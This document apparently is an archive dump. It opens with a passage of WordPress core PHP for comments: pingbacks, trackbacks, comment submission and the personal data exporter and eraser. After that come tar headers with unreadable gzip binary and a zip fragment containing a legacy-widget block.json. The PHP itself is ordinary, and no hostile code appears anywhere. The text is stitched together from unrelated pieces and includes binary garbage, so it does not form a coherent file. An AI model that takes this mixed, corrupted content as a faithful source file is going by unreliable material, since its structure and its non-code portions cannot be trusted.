		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_excerpt', $post->post_excerpt );
	}

	$excerpt = str_replace( ']]>', ']]&gt;', $excerpt );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	/** This filter is documented in wp-includes/post-template.php */
	$post_title = apply_filters( 'the_title', $post->post_title, $post->ID );
	$post_title = strip_tags( $post_title );

	if ( $to_ping ) {
		foreach ( (array) $to_ping as $tb_ping ) {
			$tb_ping = trim( $tb_ping );
			if ( ! in_array( $tb_ping, $pinged, true ) ) {
				trackback( $tb_ping, $post_title, $excerpt, $post->ID );
				$pinged[] = $tb_ping;
			} else {
				$wpdb->query(
					$wpdb->prepare(
						"UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s,
					'')) WHERE ID = %d",
						$tb_ping,
						$post->ID
					)
				);
			}
		}
	}
}

/**
 * Sends pings to all of the ping site services.
 *
 * @since 1.2.0
 *
 * @param int $post_id Post ID.
 * @return int Same post ID as provided.
 */
function generic_ping( $post_id = 0 ) {
	$services = get_option( 'ping_sites' );

	$services = explode( "\n", $services );
	foreach ( (array) $services as $service ) {
		$service = trim( $service );
		if ( '' !== $service ) {
			weblog_ping( $service );
		}
	}

	return $post_id;
}

/**
 * Pings back the links found in a post.
 *
 * @since 0.71
 * @since 4.7.0 `$post` can be a WP_Post object.
 * @since 6.8.0 Returns an array of pingback statuses indexed by link.
 *
 * @param string      $content Post content to check for links. If empty will retrieve from post.
 * @param int|WP_Post $post    Post ID or object.
 * @return array<string, bool> An array of pingback statuses indexed by link.
 */
function pingback( $content, $post ) {
	require_once ABSPATH . WPINC . '/class-IXR.php';
	require_once ABSPATH . WPINC . '/class-wp-http-ixr-client.php';

	// Original code by Mort (http://mort.mine.nu:8080).
	$post_links = array();

	$post = get_post( $post );

	if ( ! $post ) {
		return array();
	}

	$pung = get_pung( $post );

	if ( empty( $content ) ) {
		$content = $post->post_content;
	}

	/*
	 * Step 1.
	 * Parsing the post, external links (if any) are stored in the $post_links array.
	 */
	$post_links_temp = wp_extract_urls( $content );

	$ping_status = array();
	/*
	 * Step 2.
	 * Walking through the links array.
	 * First we get rid of links pointing to sites, not to specific files.
	 * Example:
	 * http://dummy-weblog.org
	 * http://dummy-weblog.org/
	 * http://dummy-weblog.org/post.php
	 * We don't wanna ping first and second types, even if they have a valid <link/>.
	 */
	foreach ( (array) $post_links_temp as $link_test ) {
		// If we haven't pung it already and it isn't a link to itself.
		if ( ! in_array( $link_test, $pung, true ) && ( url_to_postid( $link_test ) !== $post->ID )
			// Also, let's never ping local attachments.
			&& ! is_local_attachment( $link_test )
		) {
			$test = parse_url( $link_test );
			if ( $test ) {
				if ( isset( $test['query'] ) ) {
					$post_links[] = $link_test;
				} elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) {
					$post_links[] = $link_test;
				}
			}
		}
	}

	$post_links = array_unique( $post_links );

	/**
	 * Fires just before pinging back links found in a post.
	 *
	 * @since 2.0.0
	 *
	 * @param string[] $post_links Array of link URLs to be checked (passed by reference).
	 * @param string[] $pung       Array of link URLs already pinged (passed by reference).
	 * @param int      $post_id    The post ID.
	 */
	do_action_ref_array( 'pre_ping', array( &$post_links, &$pung, $post->ID ) );

	foreach ( (array) $post_links as $pagelinkedto ) {
		$pingback_server_url = discover_pingback_server_uri( $pagelinkedto );

		if ( $pingback_server_url ) {
			// Allow an additional 60 seconds for each pingback to complete.
			if ( function_exists( 'set_time_limit' ) ) {
				set_time_limit( 60 );
			}

			// Now, the RPC call.
			$pagelinkedfrom = get_permalink( $post );

			// Using a timeout of 3 seconds should be enough to cover slow servers.
			$client          = new WP_HTTP_IXR_Client( $pingback_server_url );
			$client->timeout = 3;
			/**
			 * Filters the user agent sent when pinging-back a URL.
			 *
			 * @since 2.9.0
			 *
			 * @param string $concat_useragent    The user agent concatenated with ' -- WordPress/'
			 *                                    and the WordPress version.
			 * @param string $useragent           The useragent.
			 * @param string $pingback_server_url The server URL being linked to.
			 * @param string $pagelinkedto        URL of page linked to.
			 * @param string $pagelinkedfrom      URL of page linked from.
			 */
			$client->useragent = apply_filters( 'pingback_useragent', $client->useragent . ' -- WordPress/' . get_bloginfo( 'version' ), $client->useragent, $pingback_server_url, $pagelinkedto, $pagelinkedfrom );
			// When set to true, this outputs debug messages by itself.
			$client->debug = false;

			$status = $client->query( 'pingback.ping', $pagelinkedfrom, $pagelinkedto );

			if ( $status // Ping registered.
				|| ( isset( $client->error->code ) && 48 === $client->error->code ) // Already registered.
			) {
				add_ping( $post, $pagelinkedto );
			}
			$ping_status[ $pagelinkedto ] = $status;
		}
	}

	return $ping_status;
}

/**
 * Checks whether blog is public before returning sites.
 *
 * @since 2.1.0
 *
 * @param mixed $sites Will return if blog is public, will not return if not public.
 * @return mixed Empty string if blog is not public, returns $sites, if site is public.
 */
function privacy_ping_filter( $sites ) {
	if ( '0' !== get_option( 'blog_public' ) ) {
		return $sites;
	} else {
		return '';
	}
}

/**
 * Sends a Trackback.
 *
 * Updates database when sending trackback to prevent duplicates.
 *
 * @since 0.71
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $trackback_url URL to send trackbacks.
 * @param string $title         Title of post.
 * @param string $excerpt       Excerpt of post.
 * @param int    $post_id       Post ID.
 * @return int|false|void Database query from update.
 */
function trackback( $trackback_url, $title, $excerpt, $post_id ) {
	global $wpdb;

	if ( empty( $trackback_url ) ) {
		return;
	}

	$options            = array();
	$options['timeout'] = 10;
	$options['body']    = array(
		'title'     => $title,
		'url'       => get_permalink( $post_id ),
		'blog_name' => get_option( 'blogname' ),
		'excerpt'   => $excerpt,
	);

	$response = wp_safe_remote_post( $trackback_url, $options );

	if ( is_wp_error( $response ) ) {
		return;
	}

	$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', %s) WHERE ID = %d", $trackback_url, $post_id ) );
	return $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $trackback_url, $post_id ) );
}

/**
 * Sends a pingback.
 *
 * @since 1.2.0
 *
 * @param string $server Host of blog to connect to.
 * @param string $path Path to send the ping.
 */
function weblog_ping( $server = '', $path = '' ) {
	require_once ABSPATH . WPINC . '/class-IXR.php';
	require_once ABSPATH . WPINC . '/class-wp-http-ixr-client.php';

	// Using a timeout of 3 seconds should be enough to cover slow servers.
	$client             = new WP_HTTP_IXR_Client( $server, ( ( ! strlen( trim( $path ) ) || ( '/' === $path ) ) ? false : $path ) );
	$client->timeout    = 3;
	$client->useragent .= ' -- WordPress/' . get_bloginfo( 'version' );

	// When set to true, this outputs debug messages by itself.
	$client->debug = false;
	$home          = trailingslashit( home_url() );
	if ( ! $client->query( 'weblogUpdates.extendedPing', get_option( 'blogname' ), $home, get_bloginfo( 'rss2_url' ) ) ) { // Then try a normal ping.
		$client->query( 'weblogUpdates.ping', get_option( 'blogname' ), $home );
	}
}

/**
 * Default filter attached to pingback_ping_source_uri to validate the pingback's Source URI.
 *
 * @since 3.5.1
 *
 * @see wp_http_validate_url()
 *
 * @param string $source_uri
 * @return string
 */
function pingback_ping_source_uri( $source_uri ) {
	return (string) wp_http_validate_url( $source_uri );
}

/**
 * Default filter attached to xmlrpc_pingback_error.
 *
 * Returns a generic pingback error code unless the error code is 48,
 * which reports that the pingback is already registered.
 *
 * @since 3.5.1
 *
 * @link https://www.hixie.ch/specs/pingback/pingback#TOC3
 *
 * @param IXR_Error $ixr_error
 * @return IXR_Error
 */
function xmlrpc_pingback_error( $ixr_error ) {
	if ( 48 === $ixr_error->code ) {
		return $ixr_error;
	}
	return new IXR_Error( 0, '' );
}

//
// Cache.
//

/**
 * Removes a comment from the object cache.
 *
 * @since 2.3.0
 *
 * @param int|array $ids Comment ID or an array of comment IDs to remove from cache.
 */
function clean_comment_cache( $ids ) {
	$comment_ids = (array) $ids;
	wp_cache_delete_multiple( $comment_ids, 'comment' );
	foreach ( $comment_ids as $id ) {
		/**
		 * Fires immediately after a comment has been removed from the object cache.
		 *
		 * @since 4.5.0
		 *
		 * @param int $id Comment ID.
		 */
		do_action( 'clean_comment_cache', $id );
	}

	wp_cache_set_comments_last_changed();
}

/**
 * Updates the comment cache of given comments.
 *
 * Will add the comments in $comments to the cache. If comment ID already exists
 * in the comment cache then it will not be updated. The comment is added to the
 * cache using the comment group with the key using the ID of the comments.
 *
 * @since 2.3.0
 * @since 4.4.0 Introduced the `$update_meta_cache` parameter.
 *
 * @param WP_Comment[] $comments          Array of comment objects
 * @param bool         $update_meta_cache Whether to update commentmeta cache. Default true.
 */
function update_comment_cache( $comments, $update_meta_cache = true ) {
	$data = array();
	foreach ( (array) $comments as $comment ) {
		$data[ $comment->comment_ID ] = $comment;
	}
	wp_cache_add_multiple( $data, 'comment' );

	if ( $update_meta_cache ) {
		// Avoid `wp_list_pluck()` in case `$comments` is passed by reference.
		$comment_ids = array();
		foreach ( $comments as $comment ) {
			$comment_ids[] = $comment->comment_ID;
		}
		update_meta_cache( 'comment', $comment_ids );
	}
}

/**
 * Adds any comments from the given IDs to the cache that do not already exist in cache.
 *
 * @since 4.4.0
 * @since 6.1.0 This function is no longer marked as "private".
 * @since 6.3.0 Use wp_lazyload_comment_meta() for lazy-loading of comment meta.
 *
 * @see update_comment_cache()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int[] $comment_ids       Array of comment IDs.
 * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
 */
function _prime_comment_caches( $comment_ids, $update_meta_cache = true ) {
	global $wpdb;

	$non_cached_ids = _get_non_cached_ids( $comment_ids, 'comment' );
	if ( ! empty( $non_cached_ids ) ) {
		$fresh_comments = $wpdb->get_results( sprintf( "SELECT $wpdb->comments.* FROM $wpdb->comments WHERE comment_ID IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) );

		update_comment_cache( $fresh_comments, false );
	}

	if ( $update_meta_cache ) {
		wp_lazyload_comment_meta( $comment_ids );
	}
}

//
// Internal.
//

/**
 * Closes comments on old posts on the fly, without any extra DB queries. Hooked to the_posts.
 *
 * @since 2.7.0
 * @access private
 *
 * @param WP_Post  $posts Post data object.
 * @param WP_Query $query Query object.
 * @return array
 */
function _close_comments_for_old_posts( $posts, $query ) {
	if ( empty( $posts ) || ! $query->is_singular() || ! get_option( 'close_comments_for_old_posts' ) ) {
		return $posts;
	}

	/**
	 * Filters the list of post types to automatically close comments for.
	 *
	 * @since 3.2.0
	 *
	 * @param string[] $post_types An array of post type names.
	 */
	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
	if ( ! in_array( $posts[0]->post_type, $post_types, true ) ) {
		return $posts;
	}

	$days_old = (int) get_option( 'close_comments_days_old' );
	if ( ! $days_old ) {
		return $posts;
	}

	if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) {
		$posts[0]->comment_status = 'closed';
		$posts[0]->ping_status    = 'closed';
	}

	return $posts;
}

/**
 * Closes comments on an old post. Hooked to comments_open and pings_open.
 *
 * @since 2.7.0
 * @access private
 *
 * @param bool $open    Comments open or closed.
 * @param int  $post_id Post ID.
 * @return bool $open
 */
function _close_comments_for_old_post( $open, $post_id ) {
	if ( ! $open ) {
		return $open;
	}

	if ( ! get_option( 'close_comments_for_old_posts' ) ) {
		return $open;
	}

	$days_old = (int) get_option( 'close_comments_days_old' );
	if ( ! $days_old ) {
		return $open;
	}

	$post = get_post( $post_id );

	/** This filter is documented in wp-includes/comment.php */
	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
	if ( ! in_array( $post->post_type, $post_types, true ) ) {
		return $open;
	}

	// Undated drafts should not show up as comments closed.
	if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
		return $open;
	}

	if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) {
		return false;
	}

	return $open;
}

/**
 * Handles the submission of a comment, usually posted to wp-comments-post.php via a comment form.
 *
 * This function expects unslashed data, as opposed to functions such as `wp_new_comment()` which
 * expect slashed data.
 *
 * @since 4.4.0
 *
 * @param array $comment_data {
 *     Comment data.
 *
 *     @type string|int $comment_post_ID             The ID of the post that relates to the comment.
 *     @type string     $author                      The name of the comment author.
 *     @type string     $email                       The comment author email address.
 *     @type string     $url                         The comment author URL.
 *     @type string     $comment                     The content of the comment.
 *     @type string|int $comment_parent              The ID of this comment's parent, if any. Default 0.
 *     @type string     $_wp_unfiltered_html_comment The nonce value for allowing unfiltered HTML.
 * }
 * @return WP_Comment|WP_Error A WP_Comment object on success, a WP_Error object on failure.
 */
function wp_handle_comment_submission( $comment_data ) {
	$comment_post_id      = 0;
	$comment_author       = '';
	$comment_author_email = '';
	$comment_author_url   = '';
	$comment_content      = '';
	$comment_parent       = 0;
	$user_id              = 0;

	if ( isset( $comment_data['comment_post_ID'] ) ) {
		$comment_post_id = (int) $comment_data['comment_post_ID'];
	}
	if ( isset( $comment_data['author'] ) && is_string( $comment_data['author'] ) ) {
		$comment_author = trim( strip_tags( $comment_data['author'] ) );
	}
	if ( isset( $comment_data['email'] ) && is_string( $comment_data['email'] ) ) {
		$comment_author_email = trim( $comment_data['email'] );
	}
	if ( isset( $comment_data['url'] ) && is_string( $comment_data['url'] ) ) {
		$comment_author_url = trim( $comment_data['url'] );
	}
	if ( isset( $comment_data['comment'] ) && is_string( $comment_data['comment'] ) ) {
		$comment_content = trim( $comment_data['comment'] );
	}
	if ( isset( $comment_data['comment_parent'] ) ) {
		$comment_parent        = absint( $comment_data['comment_parent'] );
		$comment_parent_object = get_comment( $comment_parent );

		if (
			0 !== $comment_parent &&
			(
				! $comment_parent_object instanceof WP_Comment ||
				0 === (int) $comment_parent_object->comment_approved
			)
		) {
			/**
			 * Fires when a comment reply is attempted to an unapproved comment.
			 *
			 * @since 6.2.0
			 *
			 * @param int $comment_post_id Post ID.
			 * @param int $comment_parent  Parent comment ID.
			 */
			do_action( 'comment_reply_to_unapproved_comment', $comment_post_id, $comment_parent );

			return new WP_Error( 'comment_reply_to_unapproved_comment', __( 'Sorry, replies to unapproved comments are not allowed.' ), 403 );
		}
	}

	$post = get_post( $comment_post_id );

	if ( empty( $post->comment_status ) ) {

		/**
		 * Fires when a comment is attempted on a post that does not exist.
		 *
		 * @since 1.5.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_id_not_found', $comment_post_id );

		return new WP_Error( 'comment_id_not_found' );

	}

	// get_post_status() will get the parent status for attachments.
	$status = get_post_status( $post );

	if ( ( 'private' === $status ) && ! current_user_can( 'read_post', $comment_post_id ) ) {
		return new WP_Error( 'comment_id_not_found' );
	}

	$status_obj = get_post_status_object( $status );

	if ( ! comments_open( $comment_post_id ) ) {

		/**
		 * Fires when a comment is attempted on a post that has comments closed.
		 *
		 * @since 1.5.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_closed', $comment_post_id );

		return new WP_Error( 'comment_closed', __( 'Sorry, comments are closed for this item.' ), 403 );

	} elseif ( 'trash' === $status ) {

		/**
		 * Fires when a comment is attempted on a trashed post.
		 *
		 * @since 2.9.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_on_trash', $comment_post_id );

		return new WP_Error( 'comment_on_trash' );

	} elseif ( ! $status_obj->public && ! $status_obj->private ) {

		/**
		 * Fires when a comment is attempted on a post in draft mode.
		 *
		 * @since 1.5.1
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_on_draft', $comment_post_id );

		if ( current_user_can( 'read_post', $comment_post_id ) ) {
			return new WP_Error( 'comment_on_draft', __( 'Sorry, comments are not allowed for this item.' ), 403 );
		} else {
			return new WP_Error( 'comment_on_draft' );
		}
	} elseif ( post_password_required( $comment_post_id ) ) {

		/**
		 * Fires when a comment is attempted on a password-protected post.
		 *
		 * @since 2.9.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_on_password_protected', $comment_post_id );

		return new WP_Error( 'comment_on_password_protected' );

	} else {
		/**
		 * Fires before a comment is posted.
		 *
		 * @since 2.8.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'pre_comment_on_post', $comment_post_id );
	}

	// If the user is logged in.
	$user = wp_get_current_user();
	if ( $user->exists() ) {
		if ( empty( $user->display_name ) ) {
			$user->display_name = $user->user_login;
		}

		$comment_author       = $user->display_name;
		$comment_author_email = $user->user_email;
		$comment_author_url   = $user->user_url;
		$user_id              = $user->ID;

		if ( current_user_can( 'unfiltered_html' ) ) {
			if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
				|| ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_id )
			) {
				kses_remove_filters(); // Start with a clean slate.
				kses_init_filters();   // Set up the filters.
				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
				add_filter( 'pre_comment_content', 'wp_filter_kses' );
			}
		}
	} else {
		if ( get_option( 'comment_registration' ) ) {
			return new WP_Error( 'not_logged_in', __( 'Sorry, you must be logged in to comment.' ), 403 );
		}
	}

	$comment_type = 'comment';

	if ( get_option( 'require_name_email' ) && ! $user->exists() ) {
		if ( '' === $comment_author_email || '' === $comment_author ) {
			return new WP_Error( 'require_name_email', __( '<strong>Error:</strong> Please fill the required fields.' ), 200 );
		} elseif ( ! is_email( $comment_author_email ) ) {
			return new WP_Error( 'require_valid_email', __( '<strong>Error:</strong> Please enter a valid email address.' ), 200 );
		}
	}

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type',
		'comment_parent',
		'user_id'
	);

	/**
	 * Filters whether an empty comment should be allowed.
	 *
	 * @since 5.1.0
	 *
	 * @param bool  $allow_empty_comment Whether to allow empty comments. Default false.
	 * @param array $commentdata         Array of comment data to be sent to wp_insert_comment().
	 */
	$allow_empty_comment = apply_filters( 'allow_empty_comment', false, $commentdata );
	if ( '' === $comment_content && ! $allow_empty_comment ) {
		return new WP_Error( 'require_valid_comment', __( '<strong>Error:</strong> Please type your comment text.' ), 200 );
	}

	$check_max_lengths = wp_check_comment_data_max_lengths( $commentdata );
	if ( is_wp_error( $check_max_lengths ) ) {
		return $check_max_lengths;
	}

	$comment_id = wp_new_comment( wp_slash( $commentdata ), true );
	if ( is_wp_error( $comment_id ) ) {
		return $comment_id;
	}

	if ( ! $comment_id ) {
		return new WP_Error( 'comment_save_error', __( '<strong>Error:</strong> The comment could not be saved. Please try again later.' ), 500 );
	}

	return get_comment( $comment_id );
}

/**
 * Registers the personal data exporter for comments.
 *
 * @since 4.9.6
 *
 * @param array[] $exporters An array of personal data exporters.
 * @return array[] An array of personal data exporters.
 */
function wp_register_comment_personal_data_exporter( $exporters ) {
	$exporters['wordpress-comments'] = array(
		'exporter_friendly_name' => __( 'WordPress Comments' ),
		'callback'               => 'wp_comments_personal_data_exporter',
	);

	return $exporters;
}

/**
 * Finds and exports personal data associated with an email address from the comments table.
 *
 * @since 4.9.6
 *
 * @param string $email_address The comment author email address.
 * @param int    $page          Comment page number.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $data An array of personal data arrays.
 *     @type bool    $done Whether the exporter is finished.
 * }
 */
function wp_comments_personal_data_exporter( $email_address, $page = 1 ) {
	// Limit us to 500 comments at a time to avoid timing out.
	$number = 500;
	$page   = (int) $page;

	$data_to_export = array();

	$comments = get_comments(
		array(
			'author_email'              => $email_address,
			'number'                    => $number,
			'paged'                     => $page,
			'orderby'                   => 'comment_ID',
			'order'                     => 'ASC',
			'update_comment_meta_cache' => false,
		)
	);

	$comment_prop_to_export = array(
		'comment_author'       => __( 'Comment Author' ),
		'comment_author_email' => __( 'Comment Author Email' ),
		'comment_author_url'   => __( 'Comment Author URL' ),
		'comment_author_IP'    => __( 'Comment Author IP' ),
		'comment_agent'        => __( 'Comment Author User Agent' ),
		'comment_date'         => __( 'Comment Date' ),
		'comment_content'      => __( 'Comment Content' ),
		'comment_link'         => __( 'Comment URL' ),
	);

	foreach ( (array) $comments as $comment ) {
		$comment_data_to_export = array();

		foreach ( $comment_prop_to_export as $key => $name ) {
			$value = '';

			switch ( $key ) {
				case 'comment_author':
				case 'comment_author_email':
				case 'comment_author_url':
				case 'comment_author_IP':
				case 'comment_agent':
				case 'comment_date':
					$value = $comment->{$key};
					break;

				case 'comment_content':
					$value = get_comment_text( $comment->comment_ID );
					break;

				case 'comment_link':
					$value = get_comment_link( $comment->comment_ID );
					$value = sprintf(
						'<a href="%s" target="_blank">%s</a>',
						esc_url( $value ),
						esc_html( $value )
					);
					break;
			}

			if ( ! empty( $value ) ) {
				$comment_data_to_export[] = array(
					'name'  => $name,
					'value' => $value,
				);
			}
		}

		$data_to_export[] = array(
			'group_id'          => 'comments',
			'group_label'       => __( 'Comments' ),
			'group_description' => __( 'User&#8217;s comment data.' ),
			'item_id'           => "comment-{$comment->comment_ID}",
			'data'              => $comment_data_to_export,
		);
	}

	$done = count( $comments ) < $number;

	return array(
		'data' => $data_to_export,
		'done' => $done,
	);
}

/**
 * Registers the personal data eraser for comments.
 *
 * @since 4.9.6
 *
 * @param array $erasers An array of personal data erasers.
 * @return array An array of personal data erasers.
 */
function wp_register_comment_personal_data_eraser( $erasers ) {
	$erasers['wordpress-comments'] = array(
		'eraser_friendly_name' => __( 'WordPress Comments' ),
		'callback'             => 'wp_comments_personal_data_eraser',
	);

	return $erasers;
}

/**
 * Erases personal data associated with an email address from the comments table.
 *
 * @since 4.9.6
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $email_address The comment author email address.
 * @param int    $page          Comment page number.
 * @return array {
 *     Data removal results.
 *
 *     @type bool     $items_removed  Whether items were actually removed.
 *     @type bool     $items_retained Whether items were retained.
 *     @type string[] $messages       An array of messages to add to the personal data export file.
 *     @type bool     $done           Whether the eraser is finished.
 * }
 */
function wp_comments_personal_data_eraser( $email_address, $page = 1 ) {
	global $wpdb;

	if ( empty( $email_address ) ) {
		return array(
			'items_removed'  => false,
			'items_retained' => false,
			'messages'       => array(),
			'done'           => true,
		);
	}

	// Limit us to 500 comments at a time to avoid timing out.
	$number         = 500;
	$page           = (int) $page;
	$items_removed  = false;
	$items_retained = false;

	$comments = get_comments(
		array(
			'author_email'       => $email_address,
			'number'             => $number,
			'paged'              => $page,
			'orderby'            => 'comment_ID',
			'order'              => 'ASC',
			'include_unapproved' => true,
		)
	);

	/* translators: Name of a comment's author after being anonymized. */
	$anon_author = __( 'Anonymous' );
	$messages    = array();

	foreach ( (array) $comments as $comment ) {
		$anonymized_comment                         = array();
		$anonymized_comment['comment_agent']        = '';
		$anonymized_comment['comment_author']       = $anon_author;
		$anonymized_comment['comment_author_email'] = '';
		$anonymized_comment['comment_author_IP']    = wp_privacy_anonymize_data( 'ip', $comment->comment_author_IP );
		$anonymized_comment['comment_author_url']   = '';
		$anonymized_comment['user_id']              = 0;

		$comment_id = (int) $comment->comment_ID;

		/**
		 * Filters whether to anonymize the comment.
		 *
		 * @since 4.9.6
		 *
		 * @param bool|string $anon_message       Whether to apply the comment anonymization (bool) or a custom
		 *                                        message (string). Default true.
		 * @param WP_Comment  $comment            WP_Comment object.
		 * @param array       $anonymized_comment Anonymized comment data.
		 */
		$anon_message = apply_filters( 'wp_anonymize_comment', true, $comment, $anonymized_comment );

		if ( true !== $anon_message ) {
			if ( $anon_message && is_string( $anon_message ) ) {
				$messages[] = esc_html( $anon_message );
			} else {
				/* translators: %d: Comment ID. */
				$messages[] = sprintf( __( 'Comment %d contains personal data but could not be anonymized.' ), $comment_id );
			}

			$items_retained = true;

			continue;
		}

		$args = array(
			'comment_ID' => $comment_id,
		);

		$updated = $wpdb->update( $wpdb->comments, $anonymized_comment, $args );

		if ( $updated ) {
			$items_removed = true;
			clean_comment_cache( $comment_id );
		} else {
			$items_retained = true;
		}
	}

	$done = count( $comments ) < $number;

	return array(
		'items_removed'  => $items_removed,
		'items_retained' => $items_retained,
		'messages'       => $messages,
		'done'           => $done,
	);
}

/**
 * Sets the last changed time for the 'comment' cache group.
 *
 * @since 5.0.0
 */
function wp_cache_set_comments_last_changed() {
	wp_cache_set_last_changed( 'comment' );
}

/**
 * Updates the comment type for a batch of comments.
 *
 * @since 5.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function _wp_batch_update_comment_type() {
	global $wpdb;

	$lock_name = 'update_comment_type.lock';

	// Try to lock.
	$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_name, time() ) );

	if ( ! $lock_result ) {
		$lock_result = get_option( $lock_name );

		// Bail if we were unable to create a lock, or if the existing lock is still valid.
		if ( ! $lock_result || ( $lock_result > ( time() - HOUR_IN_SECONDS ) ) ) {
			wp_schedule_single_event( time() + ( 5 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );
			return;
		}
	}

	// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
	update_option( $lock_name, time() );

	// Check if there's still an empty comment type.
	$empty_comment_type = $wpdb->get_var(
		"SELECT comment_ID FROM $wpdb->comments
		WHERE comment_type = ''
		LIMIT 1"
	);

	// No empty comment type, we're done here.
	if ( ! $empty_comment_type ) {
		update_option( 'finished_updating_comment_type', true );
		delete_option( $lock_name );
		return;
	}

	// Empty comment type found? We'll need to run this script again.
	wp_schedule_single_event( time() + ( 2 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );

	/**
	 * Filters the comment batch size for updating the comment type.
	 *
	 * @since 5.5.0
	 *
	 * @param int $comment_batch_size The comment batch size. Default 100.
	 */
	$comment_batch_size = (int) apply_filters( 'wp_update_comment_type_batch_size', 100 );

	// Get the IDs of the comments to update.
	$comment_ids = $wpdb->get_col(
		$wpdb->prepare(
			"SELECT comment_ID
			FROM {$wpdb->comments}
			WHERE comment_type = ''
			ORDER BY comment_ID DESC
			LIMIT %d",
			$comment_batch_size
		)
	);

	if ( $comment_ids ) {
		$comment_id_list = implode( ',', $comment_ids );

		// Update the `comment_type` field value to be `comment` for the next batch of comments.
		$wpdb->query(
			"UPDATE {$wpdb->comments}
			SET comment_type = 'comment'
			WHERE comment_type = ''
			AND comment_ID IN ({$comment_id_list})" // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
		);

		// Make sure to clean the comment cache.
		clean_comment_cache( $comment_ids );
	}

	delete_option( $lock_name );
}

/**
 * In order to avoid the _wp_batch_update_comment_type() job being accidentally removed,
 * check that it's still scheduled while we haven't finished updating comment types.
 *
 * @ignore
 * @since 5.5.0
 */
function _wp_check_for_scheduled_update_comment_type() {
	if ( ! get_option( 'finished_updating_comment_type' ) && ! wp_next_scheduled( 'wp_update_comment_type_batch' ) ) {
		wp_schedule_single_event( time() + MINUTE_IN_SECONDS, 'wp_update_comment_type_batch' );
	}
}
14338/wp-backbone.min.js.min.js.tar.gz000064400000002442151024420100013126 0ustar00��WK��6�s�W1`h�+�P���m�^Ð���]�RDʎa�w(R��Ƕ9,/kR��7��pw�&��a�EL��A�  N!\l�\��M���Y)ԉ��~r�?p�er�"�vů�L�s�^�MMq}||��vM�zz~x��{���?��O>����y4�N�_X�TQ�.�_?�����r��)��oT���PD
���OG.��Ȏy��\�ݔ"V<>��1g�Z���ٲ���(�N�*rV��!n�Z1.)���+2?{^��@i�V|U ����[�@jO���U�"S�:�@�Q�m|�\�*1Z�M)4��!JK��*!݂
\��#��.�["`��}qkI����U��X
b�vsXL��(Ӵ��u�i
�!*F��Y/��U�e�sr��
���Sz�*�q�2e s����ᄌǾbQ�̵�_"�
��3̋vG:��-a2Oy,����K�Вt���P��;����V	(��N+B���"4�3l6>	����N��	
F����n���lt���F��Z�r���
y���E�qT�T�<*@���;ULb@�ʊ�WuD�a�	L�	Y�c�in9�䊒S`��C����s��b���(w��R45x���GM
mSj�R�P��tS������r����
�U���Z���P5%�b	�lA�I�H�X��c�b���!{_Qϐ�k 2�u@r�i��dž��A��r��@�	�
��$�C��s/:���+L='-?�'�,�6}��T7���q<v6��G�ζoya�J;
��堮W[^���Q����I��p/?�X,��iC���#۩}����c.�P{`M�H�d�T��P`�C
��x��o�c�
�~�s����5l���-����QBg�aD��z�nщW�x�xq�@�>��,�lT�D�w��͚&P(i�m|T���
8��]��tw����ȢP���Ml�xup�\=%��=�a0R�\͞�����~��9��z�gI�-}�mњZ�+^������(]#E�F��&�M��)��>�z9C�`F�|�C�I�{]C�,9���t�h�����ʞ�UX;�<�#&���F܌�`p���(u��ZA&�g=��Q���Ut�bP�r�i9���AY��K����D?Z3�k�Q�����&eH�\�}��q>lm�>���e�V��p�KC�B�T�� �mR�߼��^�g
��?��̾)p��Q0�Xy�Z1���֣�礭�@kl`R�y�<H������Df���o�m��x� �	14338/legacy-widget.zip000064400000001306151024420100010464 0ustar00PK�[d[Y�,,
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/legacy-widget",
	"title": "Legacy Widget",
	"category": "widgets",
	"description": "Display a legacy widget.",
	"textdomain": "default",
	"attributes": {
		"id": {
			"type": "string",
			"default": null
		},
		"idBase": {
			"type": "string",
			"default": null
		},
		"instance": {
			"type": "object",
			"default": null
		}
	},
	"supports": {
		"html": false,
		"customClassName": false,
		"reusable": false
	},
	"editorStyle": "wp-block-legacy-widget-editor"
}
PK�[d[Y�,,
